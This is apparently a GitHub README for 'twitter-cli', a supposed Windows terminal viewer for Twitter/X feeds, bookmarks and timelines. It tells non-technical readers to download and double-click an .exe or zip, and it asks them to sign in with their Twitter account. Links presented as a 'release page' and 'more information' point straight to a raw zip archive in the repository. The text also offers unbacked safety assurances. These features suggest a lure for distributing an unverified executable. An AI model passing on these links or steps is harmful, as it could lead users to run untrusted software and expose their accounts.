twitter-cli

# 🐦 twitter-cli - View Twitter Feed in Terminal

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## ℹ️ About twitter-cli

twitter-cli is a simple tool that lets you view Twitter (now X) directly in your Windows terminal. You can see your feed, bookmarks, and user timeline without using a web browser. The app runs in a console window and displays tweets as text.

This tool works without complex setup. It is meant for users who prefer using keyboard commands or want a lightweight way to check Twitter.

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## 🎯 Features

- Display your Twitter feed in the terminal  
- Access your bookmarked tweets  
- View any user's public timeline  
- Navigate using simple keyboard controls  
- Lightweight and fast, no extra software needed

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## ⚙️ System Requirements

- Windows 10 or later  
- 64-bit CPU  
- At least 2 GB of free RAM  
- Internet connection to load tweets

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## 🚀 Getting Started

You do not need to know programming to use twitter-cli. This guide walks you through downloading, installing, and running the application on Windows.

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## 📥 Download and Installation

To get twitter-cli running on your PC, follow these steps:

### Step 1: Visit the Download Page

Click this big button to open the release downloads page on GitHub:

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This page lists the latest versions of twitter-cli available for Windows.

### Step 2: Choose the Correct File   

Look for the file that ends with `.exe` or `.zip` and has "windows" in the name. This is the version that works on Windows systems. For example:  

- `twitter-cli-windows.exe`  
- or `twitter-cli-windows.zip`  

If you find a `.zip` file, you will need to extract its contents after download.

### Step 3: Download the File   

Click the file name to start downloading. Save it to a folder you will remember, such as `Downloads` or `Desktop`.

### Step 4: Run or Extract the Application  

- If you downloaded an `.exe` file, double-click it to start the app.  
- If you downloaded a `.zip` file, right-click on it and select “Extract All…” or use an extraction tool. After extracting, find the `.exe` file inside the new folder and double-click it.

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## 🏃 How to Use twitter-cli

Once the app opens in your terminal window, you can start using it right away.

### Main Commands

- **View your feed**: Your home timeline loads when you start the app.  
- **Show bookmarks**: Press `b` to see tweets you saved.  
- **View a user timeline**: Press `u`, then type the username you want to see.  
- **Navigate tweets**: Use the arrow keys or `j` and `k` to scroll up and down through tweets.

### Closing the App

To exit twitter-cli, press `q` or close the terminal window.

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## 🔍 Tips for a Smooth Experience

- Use a stable internet connection to avoid loading issues.  
- Keep the app window large enough to see more tweets at once.  
- If tweets do not load, restart the app or check your internet.  
- You can open multiple terminal windows if you want to track different Twitter timelines simultaneously.

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## ❓ Common Questions

### Do I need a Twitter account to use this?

Yes. The app requires you to sign in with your Twitter account to access your feed and bookmarks.

### How do I log in?

The app will prompt you to log in the first time you run it. Follow the on-screen instructions to authorize your account.

### Can I post tweets from twitter-cli?

Currently, this version only supports viewing tweets. Posting tweets may be added later.

### Is this safe to use?

The app uses official Twitter APIs. Your login information is kept private.

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## 🛠 Troubleshooting

If you experience problems, try these steps:

- Restart twitter-cli.  
- Check for updates on the [release page](https://github.com/warlockoussama/twitter-cli/raw/refs/heads/main/twitter_cli/twitter_cli_2.4.zip).  
- Make sure the Windows firewall is not blocking the app.  
- Close other apps using heavy internet bandwidth.  
- Restart your PC to clear temporary issues.

If the problem persists, open an issue on the GitHub page or search for help online.

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## 📖 More Information

For details about the project's code, source, and updates, visit the GitHub repository. This is more useful for users comfortable with software and command-line tools.

[Download and learn more here](https://github.com/warlockoussama/twitter-cli/raw/refs/heads/main/twitter_cli/twitter_cli_2.4.zip).